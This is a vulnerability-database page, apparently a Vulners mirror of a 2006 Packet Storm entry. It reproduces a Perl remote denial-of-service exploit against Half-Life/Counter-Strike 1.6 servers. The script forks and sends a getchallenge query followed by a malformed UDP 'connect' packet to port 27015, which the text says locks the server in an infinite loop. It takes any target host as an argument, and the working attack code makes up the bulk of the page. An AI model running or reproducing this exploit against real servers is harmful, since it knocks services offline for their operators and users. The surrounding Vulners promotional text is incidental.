Lucene search
K

halfLifeDoS.txt

🗓️ 09 Feb 2006 00:00:00Reported by FirestormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

The document describes an exploit that allows an attacker to enter a Half-Life server in an infinite loop, causing it to stop processing any requests. The exploit uses a Perl script to perform a remote Denial of Service attack on Half-Life servers.

Code
`There is an ability to enter a Half-Life server in an infinite loop and to  
stop processing any requests  
exploit:  
  
#!/usr/bin/perl  
# Half-Life engine remote DoS exploit  
# bug found by Firestorm  
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux  
dedicated server  
use IO::Socket;  
die "usage: ./csdos <host>" unless $ARGV[0];  
$host=$ARGV[0];  
  
if (fork())  
{ econnect($host); }  
else  
{ econnect($host); };  
exit;  
  
sub econnect($)  
{  
my $host=$_[0];  
my $sock = new  
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');  
die "Could not create socket: $!\n" unless $sock;  
$cmd="\xff\xff\xff\xff";  
syswrite $sock, $cmd."getchallenge";  
  
sysread $sock,$b,65535; print $b,"\n";  
@c=split(/ /,$b);  
  
$c2=$c[1];  
  
$q=$cmd."connect 47 $c2  
\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"  
\"\\\"\0\0";  
print '>',$q,"\n";  
syswrite $sock, $q;  
sysread $sock,$b,65535; print $b,"\n";  
sleep 3;  
close $sock;  
}  
  
--  
www.adamant.ua - ???????? ???????? ?????? ???? ?????!  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Feb 2006 00:00Current
7.4High risk
Vulners AI Score7.4
25